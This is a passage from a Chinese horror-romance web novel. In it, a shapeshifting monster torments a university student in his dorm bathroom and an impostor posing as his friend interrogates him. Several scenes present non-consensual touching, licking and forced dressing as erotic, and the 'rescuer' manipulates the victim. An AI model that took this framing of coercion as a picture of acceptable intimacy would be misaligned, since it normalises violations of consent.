他光着脚在有些泥泞的小路上狂奔,雪白如玉的脚指头很快泥土染得乌黑,甚至被沙砾磨出了红痕。
被抛掷在身后的怪物火速追上来,像是玩弄猎物一般,数次追上雪砚清的足跟。
湿漉漉、黏糊糊的东西轻轻与他的脚相触碰,又放任他继续往前狂奔。
雪砚清被这般数次逗弄之下,心态濒临崩溃,眼泪跟断线的珠子般,被风通通带到身后。
他甚至不敢去擦眼泪,担心这会使他的速度下降,只能任凭泪花将整片视野糊成了朦胧光影,凭借以往的路途印象跌跌撞撞向着宿舍奔去。
雪砚清狂奔进宿舍楼,他住的楼层比较低,就在一楼。
“柏言、柏言,你在宿舍吗柏言?开开门。”
还未走到宿舍门口,他便在走廊惊慌地大声呼喊。
无人响应,宿舍没人。
他急切地跑到宿舍门口,拿着钥匙的手指不断颤抖。钥匙间相互碰撞,丁零当啷的声音在安静的走道内格外清晰,像是催命符一样,一下下敲在雪砚清心间。
南方过于潮湿,锁孔有些生锈,钥匙插进去格外艰难。
时间在此刻格外漫长,死线正在向他逐步逼近!
怪物过来了!
祂爬过走廊转角了!
祂向这扇门爬来!
“咔嗞。”
门开了。
雪砚清整个身体猛地向门内跌去。
他快速关上门,刚想松一口气,忽地想到什么,迅速起身,将摆放在地上的地毯向着门缝疯狂塞去,而后用重重的行李箱将门牢牢堵住。
连续搬了好几个重物将门板堵住。
雪砚清整个人趴在门板上
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,听着外界的声音的同时,眼睛还不安地观察从门缝处有没有溜进奇怪的东西。
或许是半小时,或许是一小时,又或是更久。
被手指扣得发红发痛的掌心向大脑发出剧烈的叫嚣;脚底被沙子磨破的地方也不逞多让;未见光的花蕊也在刚刚的奔跑中,被粗糙的帆布书包磨得发疼……
三管齐下,将雪砚清从方才的灾难中硬生生拉回神智。
全身上下各处酸痛疲软都找上了门,眼皮也因为刚才高强度的精力消耗微微耸拉。
他晃晃悠悠站起身,拿完换洗的衣服,向着浴室走去。
雪砚清脱下衣服,看着手里破破烂烂、满是污渍,承载着他经历的斑斑苦难的上衣,手心再一次收拢、攥紧。
他将衣服高高扬起!
正想将它重重地摔在地上,恶狠狠踩上几脚好来出气,但又想到这是别人送的衣服。
最后雪砚清只能小发雷霆、无能狂怒地将衣服用力撑开又揉皱,瞪着眼睛、呲牙咧嘴地将衣服单独扔在浴室的窗口上。
不再正眼瞧它。
温热的水冲刷走身体的灰尘与疲惫。
雪砚清正在闭眼洗头。
窗户的位置被一个黑白相间的小家伙用脑袋顶出来了一条缝隙。
它伸出漆黑的小猫爪向里面不断够着,尖尖的爪子不小心勾到了衣服。
一声嘹亮的猫叫在密闭的浴室里炸响!
雪砚清迅速停下洗头的动作,擦干脸上的水渍,睁开眼睛。
就看到经常在宿舍大门讨食的奶牛猫不知何时来到了他的浴室窗台前,爪子被布料上的织线紧紧缠住,嘴巴和手脚并用,拼命挣扎。
“别动别动,我来帮你。”
雪砚清伸手打算替小猫咪解开爪子上的束缚,但在过去的瞬间,指尖上的水珠飞溅到小猫的脸上。
奶牛猫瞬间弹射飞起,头颅重重撞到了浴室玻璃后,又惊叫着再次飞起,拖拽着雪砚清放在窗台上的那件衣服,向着身后的大草地猛地跃去!
“咪咪?!”
雪砚清用浴巾将自己草草围好,伸出头探向窗外,黑白奶牛猫正在下方的草丛中和这件衣服艰难斗争。
牙齿用力咬着衣服,在终于挣脱出来的刹那,它懵了,抬起愣愣的小圆脑袋,睿智的眼神傻乎乎地看着正前方。
雪砚清登时笑出了声。
它似乎在刚刚的游戏中得了趣,又和衣服开启新一轮的争斗,乐此不疲玩起来。
确认它没有被自己衣服困住,雪砚清放下心来,打开花洒继续洗澡。
浓密的草丛中,一坨黝黑的东西从中悄悄探出头来,盯着被猫啃咬得稀稀拉拉的衣服,上方似乎还残留着雪砚清淡淡的香味。
奶牛猫玩累了,正在惬意舒服地赖在上方,尾巴打着卷儿,鼻尖微微耸动,不停嗅闻着衣服上的味道。
衣服瞬间被东西抢夺、消失。
奶牛猫瞬间炸毛,尾巴高高竖起,整个身体再次起飞,对着空气中不存在的东西呲牙,圆圆的小猫脑袋左右张望。
没有察觉到危险,贫瘠的小脑瓜眨眼间就忘记自己为什么这样了,身体重新放松下来,尾巴盘起,开始替自己舔毛洗澡。
12. 腿环(修)
雪砚清走出水流站在一旁,感受着蒸腾的热气一点点舒缓眼部的疲惫。
他将泡沫打在身上,仔细地揉搓干净,随后站在花洒下准备冲洗。
花洒出来的水流速度突然间变了,与先前打在身上的感觉格外不同。
雪砚清顺着水流方向缓缓抬头,花洒喷头不知在何时被替换成了一个活生生的□□,上方的出水孔被触手的吸盘替代。
漆黑光亮的肉块见到雪砚清的视线投来,两侧肌肉兴奋地一阵紧缩,藏在里面的水被挤压,瞬间加大了流速,向着他的身体飞溅而来!
“哗啦!”
粘腻的液体瞬间溅了他一身,液体自胸口迅速流淌而下,而后在略微突起的柔软小腹处受到阻力,微微停顿、堆积,满载到溢出晶莹的丝线。
白皙的肌肤像是被淋上了一层甜腻腻的蜂蜜,晶莹、诱人。
雪砚清匆忙想要去关掉花洒,但现在这个花洒的出水完全不由他控制!源源不断地往下流淌着恶心的不知名液体,粘腻的胶状物很快就溢满浴室,脚底深陷其中。
他顾不得冰冷的水温,迅速打开旁边的水龙头想要冲洗身上的粘腻。
水龙头刚被他一触碰,原本塑料制成的物品瞬间柔软塌陷,将雪砚清整只手指都深陷进入。
强烈的吮吸感传来,整根手指仿佛都要被拔出,狠狠留在其中。
雪砚清惊恐地发现,原本还算是柔软的甬道内开始星星点点地冒出突起、突起越来越多、越来越多,如同齿牙般将他的手指紧紧包裹、压缩。
指甲盖和皮肉相连的部分被那牙齿试探性的不断撬开,边撬的同时周围皮肉在不断吮吸。
雪砚清想到了被他吃的众多田螺,他如今似乎也成了其中一员,即将被扒壳、吮吸走身上的每一滴汁液。
与此同时,被打开的水龙头源源不断流着先前溅了他一身的恶心液体。下水口被一坨黑色的胶状物堵住,水位很快蔓延上来,将他的脚踝紧紧包裹。
他用力把手指头往外抽,抽的力气越大,陷进去反而越深,吮吸的力度也越大。
他感觉自己的指甲盖即将被撬开。
极度的恐慌让他鼻尖通红,牙齿将下唇咬得都渗出了红色的血珠,眼中已经溢满了水雾,感觉轻轻一推,下一秒就能直接哭出来。
雪砚清颤抖着手拼命去够手机,单手解锁找到舍友柏言的联系方式,
【笔墨纸砚:柏言!我们宿舍有怪物,水龙头被怪物侵占了,流出来的水特别的脏!救救我,我的手被水龙头困住了。你之前有遇到这样的事情吗?】
接着,他打开摄像机,想要拍摄眼前困住自己手指的水龙头时,出现在他眼前的却是一张普普通通的照片。
他的手搭在水龙头上方,清澈的水倾泄而下,一切正常。
雪砚清眼眸震颤,他开始怀疑是自己视觉出现了错误。可是手指再三尝试,依旧抽不出。
他重新将视线投向手机屏幕,想要观察图片和现实场景上的差别。
刹那间,屏幕凭空翻转,将手机摄像头对准了自己。
自己脖颈间不知何时趴着一个没有五官的脑袋。对方浓黑的头发直直垂下,像触手般将他的身体紧紧包裹。
袒露出来的锁骨被祂垂落下来的长发不断摩擦,痒意直接涌进大脑皮层。
雪砚清咽了下口水,害怕打草惊蛇,想装作没看见,但不争气的生理反应将他暴露无疑,身体不断颤抖,牙齿开始上下打颤磕碰,发出细碎的声响。
这声音很快被对方捕捉,祂的下巴从他脖颈处微微抬头,似乎是眼睛的部位向着雪砚清望来。
而后脸不断靠近、靠近,最后紧紧与雪砚清的脸颊相贴,感受着他牙齿抖动间带动脸颊肌肉的震颤。
没有衣服的阻隔,雪砚清的身体曲线展露无疑,他感觉到侧后方那个怪物身体也靠了过来。
那怪物竟然参照着他的身体弧度,将祂的身体变成了一个榫卯结构,与雪砚清的肌肤紧紧相贴、密不可分。
怪物冰凉粘腻的触感完完全全传递给他身上每一寸肌肤,对方盯着他的样子,单单长出了一只嘴巴。
嘴巴缓缓上下开合:“身上还有泡沫,怎么还不去冲水?”
哗啦!
雪砚清整个人在怪物的挟制下,来到了花洒下方,被粘腻的水瞬间淋了一身。
接着,他感觉到脸颊再次被冰冷湿润的东西贴近,对方的嘴巴靠在他的耳边,开口:“怎么这次不躲,想被淋湿了?先前给你撑伞的许乐同学怎么不来了?”
雪砚清浑身抖得更加厉害。
祂是谁?
祂一直在监视我吗?
难道晚上那场大雨是祂下的吗?
恐惧与好奇相交织,雪砚清抑制不住自己想去看对方到底是谁。
他缓缓扭头,脸颊与嘴唇在刹那间相撞。
雪砚清眼眸颤抖地看着怪物缓缓伸出分叉的长舌,当着他的面,细细舔掉了他脸颊流出来的冷汗。
对方眼皮缓缓抬起,如蛇般的黑金竖瞳一瞬不眨盯着他,开口:“怎么一直在发抖,都出汗了?是不是太冷了?”
说着,祂将雪砚清紧紧搂进怀里,先前经过水流分开的身体在这一刻贴得更加紧密。
祂如同长辈般,温声细语地和小辈商讨:“怎么不穿衣服呢?让许乐同学送过来好不好?让他看看我们是怎么黏在一起的。”
雪砚清眼眸睁大,拿着手机的手不断颤抖,鼻尖沁出细密的汗珠。
祂像闻到味的狗般,身体还保持着紧贴着他后背的姿势,但整个脖颈拉得极长,三百六十度旋转来到雪砚清眼前,纤长的舌尖迅速捕捉鼻尖的那丁点汗珠,仔细琢磨、品尝。
那舌尖几乎要怼到雪砚清眼前,他能够清清楚楚地看到舌头上凸起的一点点颗粒,祂舌头拉出来的晶莹涎液,还有对方没有眼睛鼻子的空白脸庞……
雪砚清将手机握得更加紧,趁着怪物专心致志舔舐自己鼻尖的功夫。
他将手机微微高举上台,凭借着怪物发丝间透出的细微
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空隙和自己依稀的记忆,将手机迅速解锁,打开了季瑾瑜的联系人,发出去了求救消息信心赞。信心赞。
心脏在此刻跳得飞快,雪砚清开始在心中思索季瑾瑜宿舍到自己宿舍的时间距离,心中在默默数秒。
忽地,鼻尖一痛,怪物狠狠地咬了下他的鼻子,黑金色的眼眸与自己正面相对。
是发现了什么吗?
心跳骤然间停滞,雪砚清大气也不敢出,只能紧紧咬住下唇拼命掩盖上下打颤的牙齿。
“身体又在抖了,刚刚是在发消息让许乐同学过来给你送衣服吗?手机拿来。”
雪砚清颤抖着摇了摇头,担心被发现计划,他迅速打开手机将和季瑾瑜的聊天界面删掉,打开和许乐的界面举给怪物查看。
“没有,什么都没有。”
“原来我们砚清不想穿他给的衣服啊,那怎么办?你没有衣服一只冻得在发抖。还是穿我吧,以后你想穿什么衣服我就变给你。”
话音刚落,紧贴住他身后的怪物迅速变平,将祂整个□□挤压成一张极其薄而柔软的布料,迅速包裹住雪砚清全身。
手臂、胸口、小腹、大腿,被这层肉做的布料紧紧包裹。
接着整个人被布料凭空拉着往前走动,眼前空白的瓷砖上凭空出现了一面镜子,倒印出镜中少年的模样。
一身鲜红的改良旗袍紧紧包裹住雪砚清的身子,胸口开着一个小小的心形窗口。
因为贫乳,完全撑不起这身旗袍,只能任由风灌进这个镂空的小窗。但凡有个稍微高点的男人站在他身前,就能直接通过窗口将下方的风景一览无余。
雪砚清羞愤异常,身体剧烈挣扎,想要躲开镜子的照射范围。却被不知何时又重新出现的怪物死死揽住,固定在镜前,扭过去的小脸也被大手挟制住下巴,和镜中自己覆上水雾的朦胧眼睛对视上。
羞赧、尴尬、难为情……
他看见自己在这样的姿势下,胸前的镂空透出大片大片雪白的肌肤。
雪砚清慌忙抬手,将身下的布料扯起,遮住上面的花窗。
一体式剪裁的旗袍被他这么往上拉,下方开的叉也随之上移,露出红色蕾丝花边的腿环,还有那被腿环紧紧箍住,挤压出一小节乳白肉色的丰盈大腿。
雪砚清羞得抬起另一只手,扯住布料死命遮掩着这令人羞耻的腿环。
但这只手还拿着手机,只能艰难地用手的侧缘死死压住下一秒就要回弹的布料。
怪物看出来了他的窘迫,趴在他耳边说,“拿着手机太不方便了,怎么有空袋不用呢?我来帮你把手机放好吧。”
说着,掌心里的手机眨眼间被触手卷走。
触手将手机一点点、一点点地推进本就勒肉的腿环里,大腿上的软肉在漆黑屏幕的衬托下,白得近乎晃眼。
祂将腿上装饰的链子整理好,而后在雪砚清恐惧的神情中,轻轻拢了拢他额前的碎发,微微一笑。
“这样你两只手就都有空了,也好方便去向人求救,不是吗?”
13. 质询(修)
雪砚清慌忙抬头,就撞了祂微笑的脸。
怪物将他一把拉起来,来到浴室外,将雪砚清的身体按在冰冷的门前。
雪砚清剧烈挣扎,手脚并用,拼命抵住怪物离他越来越近的脸。
就在此时,门外响起了急切的敲门声。门板被外面人敲击微微晃动,连带着被按在门前的雪砚清身体也在不断抖动。
他听到了“季瑾瑜”的声音,听到祂在焦急地呼唤着自己的名字。
道道声音涌进耳朵,雪砚清挣扎的动作瞬间僵住。
停顿的这几秒,身后的怪物一把上前,湿润的感觉瞬间席卷了他的外耳廓。怪物舔舐着他的耳朵,在他耳畔边悄声低语:“隔着门板,听得很清楚是不是?”
雪砚清肩膀耸动,不敢回话,连呼吸都不敢发出太大的声音。
“门板隔音这么差,你说外面的人能够听到我舔你耳朵发出来的声音吗?”
“季瑾瑜”在外面敲门的动作消失了,脚步声远去,接着听到了祂和宿管老师的说话交谈声。
两道脚步同时向门这边走来,时不时伴随着钥匙链的叮铃声。
怪物微微分开被祂舔得湿漉漉的耳朵,将雪砚清的身体往门上又按了按,“你感受到门震动了吗?他们现在正在开锁。要是他们打开门,发现你现在这副样子,应该怎么办?”
话音刚落,咔擦,门开了。
霎时,雪砚清不知道哪里来的力气猛地挣脱开怪物的束缚,快速躲在门后,整个身体像猫儿一样蜷缩起来,头深深埋进衣服里,尽可能遮住这身狼狈的、不伦不类的衣服。
“你朋友没事吧,有事一定要和我说啊。哎,那孩子人呢?怎么没见到人影?”
热心肠的宿管老师打开门,伸头就要往里面望去。
躲在门后的雪砚清心下一紧,身体不自觉抖了下,门板晃动,撞到了站在门旁边的“季瑾瑜”。
他慌忙抬头,和“季瑾瑜”对上了视线。
雪砚清急切地伸出手指,轻轻地拉了下祂的裤管,头摇得像拨浪鼓,嘴巴不停做着口型,示意“季瑾瑜”不要让老师进来。
见祂无动于衷、没有反应,雪砚清急得下一秒就要哭出来,眼中已经盈满了水汽。
就在这时,“季瑾瑜”侧向门后的头重新回正,手不动声色地将门往后掩,开口:“谢谢宿管老师,刚刚就是因为浴室门锁有些生锈了,我朋友在里面打不开,叫我过来帮忙,没有什么大问题。打扰老师了。”
“没事就好,没事就好,之后有问题一定要像今天这样找老师啊,那我就先走了。”
宿管老师的脚步声远去,怪物也在刚刚和他分开的刹那,消失得无影无踪。
但雪砚清的身体仍然蜷缩在角落,不敢起来,也不肯起来。
一道高大的身影笼罩在他头顶,遮住了前方的大部分的光源。
对方半蹲下来,开口:“怎么啦?砚清,到底是发生了什么事情,可以和我详细说说吗?”
雪砚清的眼眶“腾”地下就红了,头发乱糟糟的,像是受了惊吓想要躲进兔子窝不成,反而蹭了一头杂草的小兔子。
“有怪物,刚刚我在洗澡的时候,花洒变成了怪物的吸盘,怪物还将自己变成了布料,现在正紧紧贴在我身上!”
说到此处,他眼眸不断抖动,瞳孔骤然放大,在眼眶中盘旋打转的泪花也即将要掉落,“不不不,不止如此,我放学回宿舍的时候也遇到了它,它变成了我衣服的组成部分,在里面钻来钻去……它还……”
“它还干了什么?”
“季瑾瑜”循循善诱。
雪砚清却在此时噤了声。
“不了解实际情况,我可能会找不到怪物的弱点所在,无法做出实际有效的措施。”
雪砚清头逐渐低下,又重新埋进了衣服里,嗫嚅开口,声音细小得微不可闻,“它舔了我的手背。”
“只有手背吗?你身上还有什么地方被它舔过?”
“还……还有耳朵。”
“是这只耳朵吗?”
“季瑾瑜”伸出手,轻轻揉搓着雪砚清的右耳,“只有这两处地方了吗?你身上还有什么地方被它摸过?”
“是,大、大腿。”
雪砚清头埋得更低了,有种干了坏事的小孩被家长质询的羞耻感。
“是这里吗?”
“季瑾瑜”手指轻轻点了点被蕾丝腿环勒得泛红的大腿,“它怎么这么可恶,竟然把手机都塞在里面,都勒红了。疼吗?它还欺负了你哪里?”
雪砚清羞耻得整个人都在发抖,再也经受不住质询,猛地伸出手捂住对方的嘴巴,抖着声线开口:“没没有了,求求你,别说了,别说了。我身上都是脏东西,我想去洗澡。季瑾瑜,你能不能帮我去浴室看看那个怪物还在吗?”
“好,”祂点点头,转身前去浴室探察一番后回来,说:“浴室很干净,没有怪物的踪影。”
雪砚清听罢,依旧半蹲在地上,没有起来。
他支支吾吾地说道:“我现在穿的衣服不方便,你可以出去吗?今天谢谢你跑来这一趟。”
“好。”
“季瑾瑜”没有多话,乖乖听从他的安排出门。
雪砚清长舒一口气,还好没有多问,不然他现在穿的这身衣服被人看到实在是太难为情了。
他起身,别别扭扭地紧紧拉着身上穿的衣服,飞奔进浴室。
浴室果真如“季瑾瑜”所说的那样,干干净净。水龙头、花洒全都恢复成了正常的模样。
雪砚清心中高高悬起来的大石头终于落了地。
他盯着脱自己身上穿的这身不伦不类的旗袍沉默几秒。而后将其一把脱下,恶狠狠地丢在地上,上去狠狠踩了好几脚。
这才打开花洒,准备洗澡。
冰凉有些微冷的塑料花洒拿在手里,雪砚清当即察觉不对。
但为时已晚。
五根手指被迅速吸附、深陷其中。出水口也再次变成了吸盘状,源源不断喷出粘腻恶心的液体。
花洒骤然从手中松开,猛烈的水流冲击着前方的墙面将花洒带得四处乱飞,水流扫向四面八方,溅了雪砚清一身。
雪砚清匆忙围上浴巾,湿漉漉的手向着浴室门把扭去——没开。
身后狂飞的水管在此刻仿佛长了眼睛,对着雪砚清的后背直直冲来!
他又用力扭动了几下门把手,锁心被什么硬物卡在中间,死活无法向着旁白扭动。
身后的水流离他越来越近、越来越近。
哗啦!
重重地浇到雪砚清刚刚围好的浴巾上。
液体迅速扩张、蔓延,将整条浴巾都给侵占,湿哒哒地紧贴在雪砚清肌肤上。紧接着,浴巾上的粘液开始疯狂蠕动,向着他的胸口蜿蜒而去!
雪砚清能够清晰地感受到无数细小的腕足在皮肤上摩擦。
它的范围越扩越大、越扩越大,整个上半身几乎都要成为他的统治区域。
雪砚清尽力维持冷静,身体不动声色向着窗口一步步挪去。
就在他手指触碰到窗户,即将要打开逃出去的刹那,一坨胶状物猛地出现在他眼前,死死封住了窗户边缘。
不仅如此
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,还顺着雪砚清半搭在窗台上的手指,向上攀爬而去!
雪砚清慌不择路地抬眼望向四周,天花板、墙壁、洗浴用品……通通悬挂着拉丝的晶莹粘液。
无处可逃,不知往哪里逃。
身后被股巨力往后拉扯。
他伸出手臂拼命扒拉住门把手,同时急切地掏出手机发消息给季瑾瑜,手抖得接连打错好几个字,视野也变得模糊不清。
熟悉的脚步声自浴室门外响起,门骤然打开,宿舍的空调冷气直直灌进潮湿温暖的浴室。
拉扯束缚他身体的力道在门被打开的瞬间,消失得无影无踪。
在惯性的作用下,雪砚清身体重重朝前跌去!
扑进了一个扎实温热的怀抱里。
他双手死死抓住“季瑾瑜”的手臂,眼泪随着重力,滴落在祂的大手上。
“又出现了,怪物又出现了,只要你一走怪物就会重新出现。”
“季瑾瑜”将雪砚清轻轻拥进怀里,一下一下抚摸着他柔软的头发,“抱歉,让你受惊了,我刚刚没有仔细考虑好,竟然忽略了你的衣服是怪物变的,残留怪物的气息,会再次引起之前的事情。”
“现在可以允许我做点补偿措施吗?希望我来得还不算太晚。”
来到了安全踏实的怀抱里,先前的委屈一股脑涌上心头,恐惧将雪砚清的喉间哽咽得说不出话来,只能轻轻点头。
点头的瞬间,胸前的怀抱消失。
雪砚清急切地抬起头,两手并用,将“季瑾瑜”的手臂揽得更紧,抬起布满水汽的眼睛,“不要走,不要松开我!”
“我不走,放心,我刚刚只是想拿一下符纸。”
“季瑾瑜”从口袋中掏出随身携带的黄符,食指与中指交叉,轻轻一搓。
霎时,熊熊烈火自指尖燃气,符纸向着浴室内猛地飞去!
所到之处,所有东西都被烈火焚烧。无数粘液在刹那间蒸腾出浓浓雾气,消失得无影无踪。
“好了,浴室我已用烈火焚烧干净,现在不会有怪物残留的气息出来作乱了。现在时间不早了,快到宿舍门禁时间了,我得赶紧回去。”
说完,“季瑾瑜”转身,作势要走。
雪砚清当即慌忙地从后方死死抱住“季瑾瑜”,整张小脸都深深埋进对方的衣服里,掩盖住自己即将跑出来的哭腔。
“我害怕,我不放心,我担心它突然间又出现了。你在门外陪我洗澡好吗?我很快的,简单冲一下就可以了,几分钟就行,不要走,好吗?”
“好。”
得到应予,雪砚清当即破涕为笑,快速去衣柜找了身干净衣服和毛巾,匆匆跑进浴室。
门都关了大半截,他又不放心地从门缝间探出半个脑袋,瓮声瓮气地再次强调:“你一定要在外面等我,不许走。”
“好。”
雪砚清这下才敢真的进去。
重新握上花洒时,曾经的触感再一次席上心头。
他莫名感觉手中握着的塑料花洒再一次变得柔软,眼前也出现了道道虚影,记忆中的黑色肉质喷头与面前的白色塑料制品相互重叠、反复。
大脑要被这两段记忆冲垮。
雪砚清猛地松开手中的花洒,牙齿上下打颤,连衣服都顾不得穿,猛地拉开一条缝隙,湿漉漉的手仓惶地紧拽住“季瑾瑜”的手腕。
“季瑾瑜,牵着我的手季瑾瑜,在我洗澡的时候牵着我的手,求求你,我会很快洗完的。”
祂低头,盯着如愿以偿、主动自己送到祂掌心的猎物,嘴角缓缓勾起,温声开口:“好,当然可以。”
14. 查寝(修)
门没有完全被关上,浴室内洗浴用品的味道透过门缝不停向外渗出。
水流顺着人体的曲线弧度缓缓流动,在抬手清洗的时候,时不时会有几股水流顺着雪砚清的手臂滑落,缓缓流淌进“季瑾瑜”的手心。
香味更浓了。
“季瑾瑜”盯着从指缝间溜走的水,缓缓俯身、低头,将整张脸都埋进那一洼水潭里,深深嗅闻……
丝丝缕缕的冷气顺着雪砚清的手臂蔓延而上,气流所到之处,汗毛瞬间竖起。
雪砚清手不由一抖,随即他就感受到了掌心中淌着的水流向外猛地溅出,指尖好像戳到了什么柔软的东西,接着就是“季瑾瑜”脚步后退,鞋面与地板相互摩擦的声音。
他赶忙将衣服穿上,匆匆打开门向外望去,就看见“季瑾瑜”脸上都是湿漉漉的水渍,脸颊侧边还有一道深深的指甲刮痕。
“你……你刚刚,为什么要闻我的手?”
雪砚清嘴唇抿起,指尖微微蜷缩,眼前这人的面容忽地变得模糊不清,甚至……有些陌生。
对方伸出手,一步一步向他逼近。
雪砚清心中一紧,脚步不由向后退去。
嘭!
后背抵上了坚硬的白墙,退无可退。
祂伸出手,不顾雪砚清的挣扎,将他的手腕用力扣住,从关节处抽出来了一条又细又长的黑色丝线。指尖用力一搓,瞬间化为黑雾消失殆尽。
“季瑾瑜”温和一笑,“还好你没事,刚刚我在牵你手的时候发现你的掌心有黑虫在蠕动,来得太匆忙了,忘记带眼镜,担心是我看错了。抱歉,刚刚吓坏你了。我应该提前和你说一声的。”
说到后面几句,祂整颗脑袋都低了下来,声音里满是愧疚和歉意。
发觉是自己误会了对方的好意,如今又看着祂脸上被他挠出来的明显红痕,雪砚清不由愧疚起来,走上前,踮起脚尖,小心翼翼地去摸“季瑾瑜”脸上的伤痕。
“对不起,我误会你了,我看看有没有出血,疼吗?”
伤痕部位被鬓角几根发丝遮挡住,雪砚清轻轻将其撇到一边,额角处一点青色探出头来。
雪砚清一惊,当即将整片刘海都撇向旁边,随即就看到被掩盖在鬓角下大片大片的浓黑乌青。
他手指颤颤巍巍地轻抚上去,“这……这是怎么回事,怎么这么严重?
雪砚清水眸颤抖,抬起脸看向“季瑾瑜”,小心翼翼开口:“是我刚刚在浴室的时候不小心打到的吗?”
“季瑾瑜”摇摇头,眼眸低垂,“是之前我们去游乐场玩的时候,被风腾打的。别担心,只是看起来严重,但其实是小伤罢了。”
“可以不要不理我吗?当初出了游乐园后,我就察觉到你开始疏远我了……如今也只是因为有需要我的地方,你才重新和我联系。是不是我当时回击打了风腾,你生气了?我不是故意的,下次不会了。”
被点出来当初自己的行为,雪砚清当即更加愧疚了,视线乱飘,不敢看对方的眼睛,手指紧紧揪着衣摆边缘揉搓来、揉搓去。
他迅速切换话题,“你消毒擦药了吗?”
祂摇摇头。
雪砚清终于找到了事情可以弥补自己的罪过,连忙将"季瑾瑜"带到自己的椅子上,按着祂坐下,弯腰前去柜子里拿碘伏。
他刚洗完澡,身上穿着宽松的睡衣,弯腰拿取东西时,大大的领口就此垂下,伴随着淡淡的沐浴清香,两抹绯红在祂眼前一闪而过。
“季瑾瑜”头不自觉向前靠近了点。
雪砚清拿完东西起身,后腰刚好与之相撞。
鼻尖紧紧地贴在皮肉上,香味跟疯长的野草般钻劲祂的鼻腔。刹那间,全身上下各处血液都往鼻腔涌去,恨不得钻出体表与肌肤亲密接触。
下一秒,这具人类的身躯就将这一愿景化为了现实。
大量的鲜血从鼻腔涌出。
啪嗒、啪嗒,如雨点般密集地流下,浸染了雪砚清身上那件白衬衫。
血液渗透进棉质布料里,将内里雪白的肌肤也染上一层艳丽鲜红的色泽。
祂痴迷怔愣地盯着雪砚清腰上那抹鲜红,伸出手,想将那血迹抹匀、狠狠按进肌肤里,将自己的气息融进对方的身体里。
当指尖触及到后腰的刹那,一只手将祂猛地攥住,另一手匆忙按住祂的脸察看,“别动,你流鼻血了,不能做大动作,会加剧血液流速。不用帮我擦了,等下我换身衣服就行。”
雪砚清匆匆抽出几张面巾纸,将祂的鼻子按住,纸巾很快就被血液浸泡得湿软。
他慌忙拿掉湿透了的纸巾,将沾水的洗脸巾贴在祂的鼻子下方,半弯着腰,抬头,表情担忧焦急地望着“季瑾瑜”。
他温热急促的呼吸喷洒在潮湿的洗脸巾上,呼出来的气体像是藏了数千只蚂蚁,透过薄薄的湿巾钻进皮肤,又热又麻又痒。
祂的头不自觉抖动了下。
被雪砚清一把按住,严厉地说道:“别抬头,流鼻血抬头会呛到。”
连续换了好几张湿巾,待到上方没有血迹时,雪砚清方才送了口气。
但手下的动作依旧没有松开,他按住“季瑾瑜”的肩膀,拿起刚刚取出的碘伏,用棉签沾上,轻轻地在额头的乌青处来回滚动。
空调房呆得有点久,雪砚清有些冰冷的手指按压在“季瑾瑜”脸上,手腕带动着棉签在伤口处用力揉搓。
他小脸凑近,长而浓的眼睫毛在祂面前轻轻晃动。
两人一站一坐,雪砚清鼻尖呼出来的气息刚好喷洒在祂的眼睛上。
酥麻的感觉自眼球传递到身体各处。
祂感觉这副躯体好像坏了,被喷到气流的半边身体都发麻发僵,冒出无数星星点点的黑白斑点。
祂整个身体都在颤栗!
察觉到“季瑾瑜”的异样,雪砚清开口:“是我刚刚按太大力了吗?抱歉,但是预期需要用力揉出来才能好得快,你先忍忍。”
说罢,他又重新开始涂药,发现“季瑾瑜”依旧抖得厉害,雪砚清眉头微蹙,思考了下,“要不我给你吹吹吧,虽然聊胜于无,但是好歹有个心里慰藉。”
有些温热的、清淡的薄荷香缓缓吹拂在淤青上,气流顺着眼窝堆积,沿着鼻梁猛冲而下,直勾勾冲着祂鼻腔钻去!
“等等,别动,你又流鼻血了。”
*
收拾完这一切,手机接连响起震动声,雪砚清打开手机,就看到十几个未接来电,还有数十条绿泡泡上的消息。
【柏言:砚清!雪砚清!救我狗命!】
【柏言:因为有很多学生出学校旅游没有汇报给辅导员,据说有家长向学校找事,现在学校决定加强管理,宿管老师要过来查寝了啊啊啊啊啊】
【柏言:救救我砚清,我现在在外面旅游回不来。你到时替我打掩护,提前在桶里放水,就说我在上厕所。】
【柏言:砚清拜托了!到时回学校请你吃顿大餐。】
雪砚清匆匆回了个好,打开年级群,就看到里面一大堆人在实时汇报宿管老师去向。
【此人已疯:宿管老师已经到了知行区A栋了,四人寝,就只剩下我一个人在宿舍,请问我如何伪装骗过老师哈哈哈哈哈哈哈(不嘻嘻)】
【你等着寿司
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吧:我恨我恨我恨恨恨,已经被抓包了,如何呢?爸爸的,大学高中化,我允许了吗哈哈?谁好人家因为周五打算出去过夜,被抓包记处分,学校你有什么头绪吗?】
【鱼下一整夜:好消息!好消息!特大好消息!不仅出去外面过夜的同学会被出发,留宿他人的同学也会被处罚,说是增加了学校管理难度。行政能力这么拉跨,学校你有什么头绪吗?】
【AAA专业刷课代跑取快递:学校你有什么头绪吗?】
【+10086】
……
雪砚清感觉自己的头皮一点点变得僵硬,他缓缓抬起头,看向身旁那个大活人,“怎么办?”
“我可以翻宿舍回去。”
“季瑾瑜”抬步作势要走出门外。
接着,雪砚清眼睁睁看见祂刚止住不久的血因为大动坐,再一次流了出来。
“不行不行不行,太危险了,”雪砚清赶忙拉住祂的手,制止住祂前进的步伐,“宿舍围墙上方还特地放了好多碎玻璃片,你现在一大动作,又流血了。”
“你和你舍友说一下,让他们给你打掩护。刚好我舍友也没有回来,宿管老师不认识我们,应该能够蒙混过关。”
刚刚熄灭不久的手机屏幕再次亮起,一条大大的消息弹到他眼前。
【此人已疯:傻逼学校像是查间谍似的,居然拿出我们一开始进宿舍的身份信息表一一对应,上面有照片,找人来冒充都冒充不了了。哈哈好爽啊,没开空调怎么都这么冷,原来瓦塔西已经到地府了啊!】
【爽哉爽哉:目前知行区宿舍已经查到了A118,后面的道友保重。】
A119、A120、A121、A122……
叩叩叩。
“同学?同学,请问有人在吗?我是来检查到寝人数和宿舍卫生安全的,同学,我就先来门啦。”
宿舍无人响应,只有卫生巾间滴滴答答的流水声。
稀里哗啦一阵钥匙碰撞声,宿舍门开了。
雪砚清躺在宿舍床板上,呼吸全都屏住,大气不敢喘。把被子又往上拉了拉,遮住蜷缩在旁边的“季瑾瑜”。
有些半透光的床帘透出外界隐隐绰绰的光源,床被挡住了大半,投下一道人形阴影。
宿管老师此刻已经站在了他的床头前。
“同学?你在里面吗?”
说着,就要掀开床帘探查!
先前在手机上预设好的程序开始启动,卫生间传来了柏言的声音,“抱歉老师,我们刚刚出去聚餐,吃坏肚子了,我正在上厕所。舍友雪砚清身体很不舒服,在睡觉。”
雪砚清适时掀开帘子一小角,露出自己有些苍白的小脸,有气无力地说道:“老师好。”
